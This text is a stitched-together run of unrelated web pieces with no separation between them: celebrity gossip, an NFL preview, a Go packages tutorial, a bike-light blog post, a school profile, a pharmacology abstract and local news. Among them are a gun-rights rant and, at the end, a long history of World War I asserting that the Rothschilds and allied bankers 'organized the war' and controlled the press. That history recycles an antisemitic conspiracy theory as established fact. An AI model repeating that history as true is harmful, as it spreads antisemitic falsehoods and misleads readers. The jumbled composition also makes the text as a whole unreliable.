But regardless of whether they want to accept it or not, what I just showed you is THE TRUTH about the feds rights to regulate THE PEOPLES’ arms.
If what I have said so far is not sufficient to open your eyes to how much of a total distraction all of those detailed arguments are about what the 2nd amendment “allows”, then NOTHING can. And if you are still unconvinced, or still want to keep arguing inside the game they have created about the velocity or the use of the weapon or anything else, then best of luck to you.
The point of my article is not to “win” cases in front of the supreme court. Of course the Court will REJECT the argument I have just proved. They would have to admit that what they have been doing in so many areas is simply lawless. They would have to come clean and reduce their OWN POWER. I’m not exactly going out on a limb to say THAT is NOT going to happen.
So? That doesn’t mean the argument is not true, it just proves my underlying point that the game is RIGGED. That is the point people need to WAKE UP TO. As long as the people accept the rules the money power creates, then the people will lose. Simple as that. As soon as they wake up and realize that THEY are in charge of themselves, then the people can start to win. But not before.
That’s all for now my brainwashed Brethren. Take care, live in the light and tell someone about the truth about the law.Kourtney Kardashian is adamant she doesn't want to marry longtime beau Scott Disick, but her mother, Kris Jenner, is still holding out hope her daughter will walk down the aisle sometime soon. "I would love for Kourtney and Scott to get married," Jenner, 55, said on Friday's episode of The Talk. "I have such a fantasy that she's going to have the same kind of life that I've had, and making that commitment to somebody makes your relationship very strong, even though it's just a piece of paper."Despite her mother's wishes, Kardashian -- who has a 21-month-old son, Mason, with Disick -- says she's just fine without saying "I do.""I definitely don't want to get married just for the sake of getting married," she reasoned on an episode of the family's reality series, Keeping Up With the Kardashians, last summer, even after her boyfriend went so far as to shop for engagement rings. "This is my life. I don't need a piece of paper to make it a family unit."Jenner argues that she just wants her daughter and Disick to experience the same happy marriage she has with former Olympian Bruce Jenner. "I just feel so lucky and I want my kids to experience the same things," she said on The Talk, breaking down in tears. "When you have that love, you want to set an example and [let your children] experience that same kind of love."RENTON — Jim Harbaugh brings his trademark khaki pants for their annual visit to Seattle on Sunday with the 49ers’ season hanging by a thread.
And, maybe, Harbaugh’s San Francisco coaching career.
After a shocking 24-13 loss to the lowly Raiders, conjecture that this could be Harbaugh’s last season with the team only intensified.
Former 49ers receiver Randy Moss, for instance, declared on Fox that he thought “it is the end of the Harbaugh era.”
If so, then Sunday’s game might also mark a finale of what has been one of the fiercest rivalries in Seahawks history.
It was the 49ers who became the team the Seahawks had to beat — and Harbaugh the coach fans loved to hate — when he took over in 2011, bringing with him an already noteworthy history with Seattle coach Pete Carroll thanks to a few memorable clashes in the Pac-10.
But that team — the one that went 37-11-1 from 2011-13, advancing to three straight NFC Championship games — appears long gone.
The one that comes to Seattle Sunday is 7-6 with faint playoff hopes after a 19-3 loss to the Seahawks on Thanksgiving Day followed by the defeat at Oakland.
“Things just haven’t been right for us,’’ running back Frank Gore said in a conference call with Seattle reporters Wednesday. “It’s just been a different year for us.’’
One that has seen the 49ers battle both turmoil (notably, the nine-game suspension of defensive end Aldon Smith for violating the league’s substance abuse and personal conduct policies) and a loss of identity.
While the 49ers remain one of the stoutest defensive teams in the NFL, ranking third this week in total defense at 308.5 yards allowed per game, their once physically-punishing offense has turned soft.
The 49ers, who have been able to start their projected starting offensive line just once this season, are averaging just 113.5 yards rushing (lowest of the Harbaugh era) and have allowed 43 sacks, third-most in the NFL. That despite the presence of one of the more athletic quarterbacks in the NFL in Colin Kaepernick.
All of that has seemed to catch up to the fourth-year quarterback, who has thrown two interceptions in each of the past two games — including two to Richard Sherman on Thanksgiving night — the first time in his career he has had consecutive multi-interception games.
“I don’t think he has a real good supporting cast right now,” former NFL coach Bill Parcells said on an ESPN radio interview Wednesday.
In a surprisingly tame conference call with Seattle reporters Wednesday, Harbaugh was similarly protective of Kaepernick.
“First I would say that our play as a team has been a rough patch and that’s the way that we frame it,’’ Harbaugh said.
Kaepernick had just a 36.4 passer rating in the loss to Seattle on Thanksgiving, the lowest of the season. He also rushed for just 17 yards on three attempts in being held to a season-low 117 total yards.
He didn’t have a single designed run in the first half as the Seahawks took control of the game, something Seattle players said they didn’t expect.
“It was a little bit surprising (that Kaepernick didn’t run more),’’ said safety Earl Thomas. “Maybe they are saving it for this game.’’
Added linebacker K.J. Wright: “I thought they would do more running with the quarterback and trap stuff. But it was just basic football out there. When you just try to do basic stuff against us, it won’t go too good for you.’’
Vanilla, in fact, has been a common term to describe the San Francisco offense this year, with coordinator Greg Roman coming under increasing fire. Typifying what kind of season it’s been, the daughter of general manager Trent Baalke tweeted that Roman could “take a hike’’ following the loss to the Seahawks (she later apologized).
Kaepernick’s clipped news conferences in recent weeks have drawn as much attention as his struggles on the field — he delivered just 87 words to 32 questions last week.
Wednesday, though, Kaepernick was more upbeat when he met with reporters in the Bay Area. According to the San Jose Mercury News, he smiled as he said that the sight of Sherman and Russell Wilson eating turkey on the logo at midfield on Thanksgiving — something staged by NBC — was “not something I was necessarily happy about.”
Hovering throughout has been speculation about Harbaugh’s future, which began picking up steam last winter with reports that he has a tense relationship with Baalke, and has only intensified as the team has floundered. Some recent reports have speculated the 49ers might try to trade Harbaugh to a team such as the Raiders or the Jets.
That was a topic Harbaugh avoided when talking to Seattle reporters Wednesday.
“As far as what people are saying, the noise that’s out there, I focus on my job and do it to the best of my ability,’’ he said.
A Harbaugh departure might also lead to wholesale changes with the 49ers, who have 12 players age 30 or older — the Seahawks have four.
The biggest change, though, would be Harbaugh himself. Short of hiring Clay Bennett, it’s hard to imagine the 49ers finding a replacement who would inspire the same sort of passion among Seahawks fans.
Sherman, however, said he’s confident the rivalry would live on.
“I think it would take away from a few story lines,’’ he said. “But I think the rivalry would be just the same between the teams and the fan bases. I don’t think the fan bases care who the coach is on either team. I think they have their own disdain for one another.’’
Bob Condotta: 206-515-5699 or bcondotta@seattletimes.com. On Twitter @bcondotta
Four weeks for 99 cents of unlimited digital access to The Seattle Times. Try it now!What is a Go package?
A package is a grouping unit for code and helps you to organize your program. It allows you to “pack” one or more source code files in a single unit and make them reusable.
If you’re coming from other languages, they’re like namespaces or packages. The difference is, there’s no sub-packaging, and the packages are small and many.
For example: If you have a code which does some calculation for weather statistics and is being used by more than one code in your program, you would put this calculation code in a separate package, maybe named as: statistics.
Any code written in Go belongs to a package
Go programs are composed of one or more packages.
Single concept
You should put the only related code into a package, and it’s important to name them properly.
For example: Go’s zip package provides only one concept: zipping things. Or, http package provides only one concept again: client/server interactions of http. Or, fmt package: Handling the formatting of input/output.
Contains zero or more functions and state
There can be a package that only contains one function such as calculating the tax ratio for some countries. Go packages don’t need to be big as in some other languages.
Reusable
Other packages can only use a package’s exported functions and data. Also, a package can use its own functionalities whether they’re exported or not.
Imported only once
You can import the same package in many packages, and, it will be imported only once.
No packages?
Without packages there would be almost no code reusability, and organization.
Take a look at Go’s standard library. Without packages, how would you use Go’s massive standard library? Functionalities would be scattered everywhere, and it’d be impossible to work with.
What does a Go package look like?
“example” package. This is just a directory in your computer. A package resides in a directory.
All the source files in the example package directory have the same package name: example.
Physically, a package is just a directory. Directory names and the package names should be the same.
In a package directory, all source files belong to only one package. In the example above, package keyword declares that example.go belongs to the example package. A source code file should have a package, always.
Importing packagesOne of the things I feel for when I am riding my bike (daily rider) is the need for SAFETY on the roads. One of the most important things about riding, day or night, is that YOU ARE SEEN. Every rider knows the importance of that concept. I took it upon myself to get in touch with somebody who is a part of our community in BRADENTON, FL, my old stomping grounds!
He was telling me that he was experimenting with some ideas about a lighting system for our China girl’s HT engine and it immediately got my ears pricked wanting to hear what he had to say. I have had many a night where my cheap LED lights would burn out or just literally get rattled apart by the good vibrations. I wanted something sturdy enough that would last and just in case I accidentally left it outside (FLORIDA) and it got rained on, it wouldn’t be a problem.
We IMMEDIATELY hit it off and conversed for like over an hour. Turns out that he knows some of the people and places I know so we both warmed up to each other and started throwing out ideas. Now, I have to admit, he came up with all the ideas and I was the PERFECT person (daily rider at 40 miles per day) on and off road to beat the crap out his “Plug and Play” lighting system for him. With my online presence with my blog I’m glad to be able to say that with his expertise, I think he’s come up with something unbelievable.
I SINCERELY think he is onto something big. Not only has he done the complete lighting kit with front separate turn signals and back turn signals, he has added high and low beams, a horn, a halo around the front headlight and a real motorcycle crush switch for the brake light.
One of the things that blew me away was the illuminated on/off switch on the polished aluminum control box. I love that! Everything was so easy to hook up. Every connector was labeled so you can not hook it up backward or mess it up. So I assembled it on my bike, and here it is…
I have to say that this is the best light kit I have ever bought. It came with everything and was very well packed with instructions. I put it together in no time, like no shit in 15 minutes? It was a dream to ride with this, even at night.
The first night I took it to the store and back. Then I rode it during the day and it gave other motorists notice of when I was turning and braking. I thought WOW! This is so cool. I had to tighten some fasteners down after a couple of rides but I’ve got to tell ya, this is a REALLY professional system that I do not think you will find at a better price for what you’re getting. This guy’s heart is in this and it’s all he can think about when he’s not focusing his life around his beautiful daughter.
He’s working on a system now that can be charged with the motor while it is running so that you won’t even have to hook the battery up to be charged!! Every day that I talk with him, his enthusiasm for doing this is so infectious. His passion for building bikes and contributing to our hobby and obsession is insurmountable. He is a genuinely good person and has an absolutely great idea and product to service what we ride. He gave unbelievable tech support over the phone and I was truly satisfied with it.
Here is a link to our interview in audio format if you care to listen. This is AMAZING!!
Link following soon. We have to upload it to youtube!! I just couldn’t wait to get this out there!!!
Here’s his Facebook page…
https://www.facebook.com/Verybrightbicyclelights
And here’s the link to the youtube video!!!Visit Yad Hamoreh elementary school on a Friday morning and you’ll hear Shabbat songs, smell pizza and challah rolls baking in the oven, and see autistic children enjoying both activities with “regular” peers.
“This school has been incredible,” says Alana Goldstein, whose autistic fourth-grader recently won second place at a peer-judged “A Star is Born” talent show at Yad Hamoreh. “These are low-functioning kids with behaviors that are not easy to deal with. And the regular children actually grow up with them. They learn to see the autistic children as part of their society.”
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Yad Hamoreh (“Teacher’s Hand”) is a one-of-a-kind Jerusalem public elementary school. Founded in 1998, today it integrates 187 normal first- through sixth-graders with 49 severely to moderately autistic peers. Mostly separated for academics, the kids do everything else together, from eating to swimming. Regular kids even join in therapy sessions involving games, sports, music, animal care and horticulture.
Because hers is a model school with no exact counterpart anywhere, Principal Ana Goren often hosts visiting educators from other Israeli municipalities as well as Eastern European countries, South America, China and the United States.
Zvi Shamir, uncle of an autistic niece and father of three normal daughters who have all attended Yad Hamoreh, explains that the first- through sixth-grade school was a parent-led initiative.
“It was based on a system developed by a kindergarten nearby that merged regular and autistic children,” Shamir tells ISRAEL21c. “This is a unique experiment in the world, we believe.”
Judging by the enthusiasm of his second-grader, Lia, the experiment is a success. “What do you like about your school?” ISRAEL21c asks, and Lia Shamir breaks into a grin. “Everything,” she says.
Like a private school
Goldstein’s son cannot verbalize quite as well, yet his mom can tell he’s happy and she gets daily written reports from his teachers.
“When our son was in his last year of [special] kindergarten, this was the only offer we had for him,” she says. “We were assured it would be the best place for him.”
The Education Ministry handles placement for the autistic children at Yad Hamoreh. Normal children, however, must apply for acceptance, and demand exceeds availability. You might not think parents would want their children exposed to the sometimes scary screeching and head-banging behaviors severely autistic children may display. But Goren’s behavior-modification approach appears to work wonders.
“Having regular children around makes the autistic children more aware,” says Goldstein. “The regular children also gain because they have so many unusual things going on here. The facilities are like what you’d expect in a private school.”
It’s not magic, stresses Su Narodowski, an educational instructor who works with special-ed teachers, pupils and parents at Yad Hamoreh.
“It doesn’t work easily or without hiccups. Our teachers have to be very flexible. The regular and special-ed teachers have to think of activities that allow both populations to participate, and behind that is a belief that this is worth fighting for.”
Shamir says that his girls learned respect and tolerance not only for kids with autism but also for people with a range of differences. The school includes religious and secular, Jewish and Arab pupils along with a multi-ethnic staff of administrators, teachers, therapists and community and National Service volunteers.
“It’s monumental that kids who leave this school have a value system, a social understanding, that is not an innate expectation,” Narodowski tells ISRAEL21c.
“At first they may be a bit wary of this kid who’s wiggling his fingers and making weird noises. Then suddenly they realize, ‘I want to go on stage and hold his hand.’ When you grow day by day with someone for six years, you learn to see very clearly what a person is made of.”
A community that benefits families
Shamir explains that the social modeling provided at Yad Hamoreh leads to remarkable achievements for the special kids.
“When [autistic children] learn with regular children, they have to adopt the modes of behavior of the regular society,” Shamir says. “Based upon research at the Hebrew University, we have the basis for our assumption that these children reach much, much higher levels of participation in society.”
Yad Hamoreh parents and siblings are welcome at school trips and events. “One of the main problems for autistic children’s families is their participation as a unit in the community,” says Shamir. “The community created by this school is very good for both kinds of families.”
The past two summers, Goldstein was pleasantly surprised when both autistic and regular classmates came to her son’s birthday parties. “Even though it was in the middle of the summer, more than half the regular children came,” she reports.
Inclusive extracurricular activities are critical to the school’s culture. A student choir of 43 kids includes four autistic children. When regular fifth-graders go for mandatory swimming lessons, their autistic classmates come along, although they have their own weekly hydrotherapy sessions. Narodowski says it took some persuasion for the Education Ministry to allow such an arrangement.
With everything going on at Yad Hamoreh, its school day is longer by two hours than most other Israeli public schools. But Lia Shamir doesn’t mind at all.
“What do you wish will happen today at school?” ISRAEL21c asks the second-grader. “That the day won’t finish,” she replies with a giggle.-The effects of (S)-4-amino-5-[(4,4-dimethylcyclohexyl)amino]-5-oxo-pentanoic acid ((S)CR 2249), a new chemical entity selected among a series of glutamic acid derivatives, were investigated on N-methyl-d-aspartate (NMDA)-evoked release of [3H]noradrenaline from rat hippocampal slices. (S)CR 2249 facilitated glycine-mediated reversion of kynurenate antagonism at strychnine-insensitive glycine receptors coupled to the NMDA receptor. The potency of glycine (EC 50 = 21.5 μM ± 4.2) was not significantly influenced by (S)CR 2249. Nevertheless, the efficacy of the glycine effect was enhanced in a concentration-dependent manner (3-10-30 μm) by (S)CR 2249. The interaction of (S)CR 2249 with NMDA receptors was also studied with binding experiments, in which we examined the effect of (S)CR 2249 on the modulation by glutamate, glycine and spermine of [3H]dizocilpine (MK-801) binding. (S)CR 2249, increased [3H]MK-801 binding in a concentration-dependent manner and we found positive cooperative interactions between glycine and (S)CR 2249, indicating that (S)CR 2249 probably acts at a separate allosteric site to increase NMDA receptor functionality.Please enable Javascript to watch this video
SEDRO-WOOLLEY, Wash. -- The owner of a Washington State restaurant who allegedly told deputies that law enforcement officers were no longer welcome at his establishment broke down in tears Thursday night and said cops are welcome at his restaurant - and will even receive free meals on Monday.
The man's son said it had all been a misunderstanding and he apologized for the incident in an interview with Q13FOX.
The incident came to light on Thursday when Skagit County Sheriff Will Reichardt posted a message on his Facebook page that he was left "speechless" after learning that the owner of the Lucky Teriyaki restaurant asked his deputies not to return to eat there because "other customers didn't like law enforcement there."
Reichardt said his chief deputy spoke to the owner of Lucky Teriyaki in Sedo-Woolley later to confirm what he had heard.
"The owner not only repeated the request but asked that we spread the word to other law enforcement that they were no longer welcome either."
Here is the full statement posted on Facebook by Reichardt:
"I am not often speechless but today I was advised of an incident at the Lucky Teriyaki restaurant in Sedro-Woolley that completely took me by surprise. Particularly on the heels of the United We Stand by our Law Enforcement event that was such an overpowering show of appreciation for our deputies and officers serving Skagit County.
"This afternoon 4 Skagit County Sheriff’s office deputies were finishing up lunch at Lucky’s. As 2 deputies went up to pay they were informed by by the owner that he requested they not eat there anymore. They were told that other customers didn’t like law enforcement there. My chief deputy spoke to the owner to confirm this because he simply could not believe what he was hearing. The owner not only repeated the request but asked that we spread the word to other law enforcement that they were no longer welcome either.
"I understand a business owner has a right to refuse service if he wants to…….I also understand that as customers we all have the right to find some other restaurant to take our lunch break in."
It's not known how many law enforcement officers will return to eat lunch at the restaurant.David Hutchins was found not guilty of murder on Friday evening after deliberation found that he did act in self-defense when he shot and killed Chris Timberlake.
The state and defense gave their final arguments before the jury deliberated Friday afternoon in the murder trial against Hutchins.
Hutchins pled not guilty to the murder of Timberlake on Thanksgiving Day, Nov. 27, 2014, and claimed self-defense.
The shooting came from a love triangle that spanned since 2008 between Timberlake and Hutchins’ wife Tanya Hutchins.
The state began the case saying that David had made threats about Timberlake and Tanya’s relationship to Timberlake’s ex-wife saying that he would catch them together.
The defense said that David was only acting in self-defense when Timberlake allegedly came at David with a gun at David’s home on Thanksgiving Day 2014 while Tanya was visiting their daughter.
Testimonies brought forth evidence about the relationship that escalated between Chris and Tanya.
Tanya originally testified that she was talking with her daughter in her bedroom at the Stevenson home on Mill Town Circle when she heard two gunshots from the living room. She ran out of the room, and saw David standing over Timberlake. Timberlake suffered a wound on his right forearm and the back of his head.
Tanya testified David said, “told you he was not going to take you from me.”
David then went to turn himself in at the Stevenson Police Department. Other testimonies included that of the dispatch at Stevenson Police Department who testified he spoke with David when he entered the station. He said David kept talking about he shot someone in self-defense.
Both sides of the trial used their own sides of this for their case.
“Chris is not the victim,” said Defense Attorney Parker Edmiston during closing arguments. “The victims are David’s daughter and the Timberlake kids. David is not guilty of murder or any crime.”
Edmiston brought up the fact that Timberlake’s ex-wife, Nicole, testified for the first time, that David told her about planning to kill Chris and Tanya.
“She told a secret she had kept for two years and three months,” said Edmiston. “She did not tell Chris about this, did not tell family and she did not tell the police. She did not tell court about it during the first hearing … can you believe that testimony?”
Edmiston brought up the altercation that allegedly happened between Nicole and Chris when she tried to divorce him after she found out about the affair.
“He beat her,” Edmiston said. “He did not want her and he beat her.”
Edmiston also talked about the Hutchins’ daughter who testified.
“She (the daughter) did not substantiate Tanya’s testimony,” said Edmiston. “Tanya’s statement is complete fiction.”
Edmiston said David’s statement was consistent through every interview.
“He had not lawyered up,” said Edmiston. “He was willing to talk. Law enforcement knows when self-defense applies.”
Edmiston said David’s initial statement showed a gun by Timberlake’s body, but was allegedly moved by Tanya. Edmiston mentioned testimony from two witnesses that said Tanya asked them to get rid of the gun at the scene.
Edmiston questioned why she would do that if it did not have anything to do with the crime.
Edmiston also questioned injuries discovered in the autopsy report.
Autopsy showed an entry wound from a shotgun shell in Chris’ right hand, and multiple wounds on his right forearm that correlates with what happens when a shotgun bullet hits a target and comes apart.
Edmiston said the only way Chris’ arm could be injured that way was if he was pointing at David’s direction, allegedly holding a gun.
District Attorney Jason Pierce had his own closing arguments for the case.
Pierce questioned the defendant’s testimony saying that “he dove for his gun in the bedroom,” when Chris walked in with an alleged gun in his hand.
Pierce said that David’s testimony said Chris ducked and came up at David with a gun. “His arm was shattered. How did he do that?”
Pierce also talked about the second shot.
“There were two shots,” said Pierce adding that the threat of an intruder or danger would be done with the first shot.
Timberlake’s body was found in the front doorway of the porch.
“Explain a second shot from three feet away as he (Timberlake) runs out of the door,” said Pierce. “He did what he threatened to do. That is planning … that is not self-defense … that is murder.”Report by Dongri cops says that Shamsher Khan Pathan let a group of rioters take shelter at his police quarters (which he still occupies); they left only after the situation was brought under control
Report by Dongri cops says that Shamsher Khan Pathan let a group of rioters take shelter at his police quarters (which he still occupies); they left only after the situation was brought under control
What was till now being speculated in hushed tones has ostensibly been vocalised by a police investigation report. Sources say Dongri cops have established that retired assistant commissioner of police Shamsher Khan Pathan had played a less than flattering role in the Azad Maidan violence.
The internal investigation has reportedly revealed that soon after the mayhem began on August 11, around 15 to 20 rioters sporting clothes stained with mud and blood, were given shelter at Pathan’s residential quarters, inside the Dongri police station compound.
Sources say the miscreants arrived at the ex-ACP’s dwelling soon after the riot had commenced and left only after the situation was brought under control. All this is in the report submitted by Dongri police to senior officials. The findings also state that Pathan, who has retired in May 31, still continues to occupy the police residential quarters.
The former top cop has also been accused of using this dwelling for the operations of his newly formed political outfit Awami Vikas Party, of which he is the president. Though the party’s office is at Zaffari Chambers, 6th floor, near Sewri railway station, Pathan has apparently been using the police quarters for political activities, alleged a Dongri cop.
“Pathan retired on May 31, 2012, but is yet to check out of his accommodation at Dongri police colony,” a senior police officer, who did not wish to be named, confirmed. “He calls people, supporters and media to his residence in Dongri, so he can show off that he was a top police official,” said another cop.
The Azad Maidan violence threw up some big numbers. “92 people were injured 76 of them policemen, four journalists and ten ordinary citizens. Property worth Rs 2 crore, 74 lakh, 33 thousand was damaged,” said a source from the crime branch. In all 64 rioters were arrested by the agency. Cops have already filed a 4,000-page charge sheet and will soon file a supplementary one.
Shamsher Pathan was one of the guests on the dais, reports say, at the venue of the August 11 demonstration. When contacted, additional commissioner of police (crime) Niket Kaushik said, “I am not aware of any such report.”
The other side
“I don’t conduct any political work out of my quarters, as my family is not connected with my party. Secondly, all this is a conspiracy to malign me. How can a confidential report be leaked to the media? I had indeed tried my best to stop the riots,” Pathan told MiD DAY.Monday night the Cleon Township Planning Commission held a special meeting where members voted to reinstate a Special Use Permit to the Twisted Trails campground.
MANISTEE COUNTY, Mi. (WPBN/WGTU) — A campground in Manistee County will have its special use permit back after it was suspended two weeks ago.
Monday night, the Cleon Township Planning Commission held a special meeting where members voted to reinstate a Special Use Permit to the Twisted Trails campground.
Managers with Twisted Trails say their permit was suspended after township leaders required documentation showing the campground was following a township ordinance. They say this all began after the 2016 UpNorth Music and Art Festival, where Manistee County deputies say there were drug issues, |
ord, president of AT & T, also director Commission on Industrial Preparedness
Hollis Godfrey, pres. of Drexel Institute, married to a Lawrence of Boston
Howard Coffin, pres. of Hudson Motor Car Co.
Coffin's secretary, Grosvenor Clarkson, ran the Council. Godfrey claims in "Who's Who" that the Council was actually created by himself, Howard Coffin and Elihu Root.
The principals of the Navy League were J.P. Morgan of U.S. Steel, Charles Schwab of Bethlehem Steel, Col. R.M. Thompson of International Nickel, and B.F. Tracy, attorney for the Carnegie Steel Co.
The principals of the League to Enforce Peace were Elihu Root, J.P. Morgan's lawyer; Lincoln Filene; Oscar Straus; John Hays Hammond, who had been sentenced to death for revolutionary activity in South Africa; Isaac Seligman; Perry Belmont, the official representative of the Rothschilds, and Jacob Schiff of Kuhn, Loeb & Co. The watchword of these millionaire bakers was "preparedness", and Asst. Sec of the Navy Franklin Delano Roosevelt was already letting large Navy contracts in 1916, a year before we got into the war.
Col. House wrote to President Wilson from London on May 29, 1914, "Whenever England consents, France and Russia will close in on Germany and Austria."
While preparing for war, Woodrow Wilson campaigned in 1916 on the slogan, "He kept us out of war". H.C. Peterson notes in "Propaganda for War", Univ. Oklahoma Press, 1939: "To a large extent, the 9 million people who voted for Wilson did so because of the phrase, 'He kept us out of war'." Col. House later told Viereck that Wilson had concluded an agreement with the British in 1916, long before his campaign, to involve us in the war. Roosevelt repeated the process in 1939 [prior to WW2].
When we went into World War I, Wilson appointed his campaign fundraiser, Bernard Baruch, head of the War Industries Board. Baruch was later investigated by the Graham Committee. He testified, "I probably had more power than perhaps any other man did in the war; doubtless that is true." He said of his prewar actions:
"I asked for an interview with the President. I explained to him as earnestly as I could that I was deeply concerned about the necessity of the mobilisation of the industries of the country. The President listened very attentively and graciously, as he always does, and the next thing I heard, some months afterward, my attention was brought to this Council of National Defense." "MR. GRAHAM: Did the President express any opinion about the advisability of adopting the scheme you proposed? BARUCH: I think I did most of the talking. GRAHAM: Did you impress him with your belief that we were going to get into the war? BARUCH: I probably did. GRAHAM: That was your opinion at the time? BARUCH: Yes. I thought we were going to get into the war. I thought a war was coming long before it did. MR. JEFFRIES: Then the system you did adopt did not give the Lukens Steel & Iron Co. the amount of profit that the low-producing companies did? BARUCH: No, but we took 80% away from the others. MR. JEFFRIES: The law did that, didn't it? BARUCH: The government did that. GRAHAM: What did you mean by the use of the word 'we'? BARUCH: The government did that -- excuse me, but I meant we, the Congress. GRAHAM: You meant that the Congress passed a law covering that. BARUCH: Yes, sir. GRAHAM: Did you have anything to do with that? BARUCH: Not a thing. GRAHAM: Then I would not use the word 'we' if I were you."
Although Baruch played a crucial role in funding Wilson's campaign, in 1916, he had not ignored Wilson's almost successful opponent, Charles Evans Hughes. Carter Field points out, in his biography of Baruch:
"My personal view is that Baruch would have been tremendously important in the Hughes election, if Hughes had been elected in the close election of 1916, both in the conduct of the war and in the making of the peace." Field continues, "Under this curious cloak of anonymity, Baruch exercised a very unusual type of political power in those early Wilson days. He was cultivated by most of the Wilson lights, who speedily found out that he could do more for them than they could do by directly appealing to Wilson. Naturally, there was no publicity for all this."
Field also says, "For one thing, Wilson not only loved Baruch, he ADMIRED him. Mrs. Wilson makes this specific statement in her Memoirs."
Wilson's relations with others were not always marked by such deep affection. David Lawrence, in his biography of Wilson, "The True Story of Woodrow Wilson", notes that in June, 1907, former President Grover Cleveland, a trustee of Princeton, publicly denounced Wilson's plans to alter the character of the school, making a "bitter attack". Cleveland had come to live in Princeton after he left the White House, and was deeply attached to the university. He died in the summer of 1908. That fall, when Wilson, as president of the school, made his annual opening speech, he made no mention of Cleveland's death, nor did he ever schedule a memorial exercise, as was the custom when a trustee passed away.
The Baruch War Industries Board (WIB) is particularly important to the present work, not only because of the dictatorial power exercised by Baruch during the war years, but because the WIB members have continued to govern the United States. From WIB and the American Commission to Negotiate the Peace came the Brookings Institution, which set national priorities for fifty years, NRA [National Recovery Administration] and the entire Roosevelt administration, and World War II.
Working with Baruch at the WIB was:
Asst. chairman, Clarence Dillon of Dillon, Read
Robert S. Brookings, chairman Price Fixing Committee of WIB, later founded the Brookings Institution
Felix Frankfurter, chairman of the War Policies Labor Board
Herbert Hoover and T.F. Whitmarsh of the U.S. Food Administration
H.B. Swope, publicity agent for Baruch
Harrison Williams
Albert Ritchie, later Gov. of Maryland
Gen. Goethals
and Rear Adm. F.F. Fletcher
Goethals was replaced by Gen. Pierce, who was then replaced by Gen. Hugh Johnson, who became Baruch's righthand man for many years. Field tells us that "Gen. Hugh Johnson stayed on Baruch's payroll for two months after he became head of NRA (during the New Deal)." Field quotes Woodrow Wilson as having Baruch at the WIB, "Let the manufacturer see the club behind your door." Baruch told the Graham Committee, "We fixed prices with the aid of potential Federal compulsion."
Left out in the Baruch-Wilson mutual esteem society was William Jennings Bryan, longtime head of the Democratic Party. Bryan not only opposed our entry into World War I -- he dared to criticise the family which had organized the war, the Rothschilds. Because he dared to mention the Rothschilds, Bryan was promptly denounced as "anti-Semitic". He responded:
"Our opponents have sometimes tried to make it appear that we were attacking a race when we denounced the financial policy of the Rothschilds. But we are not -- we are as much opposed to the financial policy of J.P. Morgan as we are to the financial policy of the Rothschilds."
Because of the secret planning needed to launch a major war, control of the communications media was essential. Kent Cooper, president of the Associated Press, notes in Life, Nov. 13, 1944, "Freedom of Information":
"Before and during the First World War, the great German news agency Wolff was owned by the European banking house of Rothschild, which had its central headquarters in Berlin. A leading member of the firm was also kaiser Wilhelm's personal banker (Max Warburg). What actually happened in Imperial Germany was that the Kaiser used Wolff to bind and excite his people to such a degree that they were eager for World War I. Twenty years later under Hitler the pattern was repeated and enormously magnified by DNB, Wolff's successors."
Cooper later noted in his autobiography, "Barriers Down": "...international bankers under the House of Rothschild acquired an interest in the three leading European agencies. (Havas, France; Reuters, England; Wolff, Germany)."
On April 28, 1915, Baron Herbert de Reuter, Chief of the Reuters Agency, shot himself. The cause was the crash of the Reuters Bank, which had been organized by Baron Julius de Reuter, founder of Reuter's, to handle foreign remittances without their being subjected to any accounting. He was succeeded by Sir Roderick Jones, who says in his autobiography, "Shortly after I succeeded Baron Herbert de Reuter in 1915, it so happened that I received an invitation from Mr. Alfred Rothschild, then head of the British House of Rothschild, to lunch with him in historic New Court, in the City." Jones prudently refrains from telling us what was discussed at this meeting.
Only one member of Congress voted against the U.S. declaration of war against Germany in World War I, Jeanette Rankin. She was also the only member of Congress to vote against our entry into World War II. Opponents of Wilson's action were often beaten and imprisoned. Eugene Debs was sentenced to a long prison term. Congressman Charles Lindbergh [Sr.] ran for Governor of Minnesota on a platform opposing our participation in the war. The New York Times regularly ran scathing denunciations of his campaign. On June 9, 1918, it noted, "Rep. Clarence H. Miller denounced Lindbergh and the Non Partisan League as seditious. 'According to Mr. Lindbergh the Liberty Loan is an instrument devised by the money sharks. It seems inexcusable that any person allowed to be at large in the United States could entertain or epxress such a view of this.'" Harrison Salisbury of the New York Times states:
"I have searched out the records and they show that mobs trailed Charles A. Lindbergh Sr. during his 1918 campaign for the Republican nomination for the Minnesota governorship. He was arrested on charges of conspiracy along with the Non Partisan Leaguers; a rally at Madison, Minn. was broken up with firehoses; he was hanged in effigy in Red Wing, dragged from the speaker's platform, threatened with lynching, and he escaped from town amid a volley of shots."
Salisbury neglects to mention that a squad of Federal agents from the Bureau of Investigation, led by J. Edgar Hoover on his first important action, attacked Lindbergh and his family, dragged out all the copies of Lindbergh's "Your Country at War", and burned them on the lawn; when young Charles rushed forward to stomp out the fire, Hoover knocked him down.
In the summer of 1917, Woodrow Wilson named Col. House to head the American War Mission to the Inter-Allied War Conference, the first such American mission to a European council. With House were his son-in-law, Gordon Auchincloss, and Paul Cravath, Kuhn Loeb's lawyer. Auchincloss was director of Chase Natl. Bank, Solvay, Sofina, and Gross & Blackwell.
Meanwhile, Walter Lippmann and another group were busily working on the plans for the League of Nations. Lippmann had founded the American branch of the Fabian Society in 1905 as the Intercollegiate Socialist Society, which later became the Students for a Democratic Society after a period when it was known as the League for Industrial Democracy. James T. Shotwell and other internationalists worked with Lippmann on this organization.
Although the war was going well for those who had promoted it, hostilities were ended somewhat abruptly by the unforeseen intervention of an aide to the Czar of Russia, Maj. Gen. Count Cherep-Spiridovich, who says:
"I had a long discussion with Gen. McDonough, Chief of the War Intelligence Dept. in London; I submitted on Sept. 1, 1918 a report advising him peace with Bulgaria would provoke an uprising in Slavic Austria, panic in Germany and surrender of her armies; my advice was accepted; two weeks later peace was signed with Bulgaria, two weeks later Austria was out of the war, two weeks later Germany surrendered."
L.L. Strauss of Kuhn, Loeb Co. states he was one of four American delegates who conferred with the Germans at Brussels in March 1919 on the final armistice. On Nov. 11, 1918, the New York Times headlined, "REDS GRIP ON GERMANY: Königsberg, Frankfurt-on-Main, Strassburg now controlled by Spartacist Soviets". On Nov. 12, 1918, the New York Times stated, "The revolution in Germany is today, to all intents and purposes, an accomplished fact."
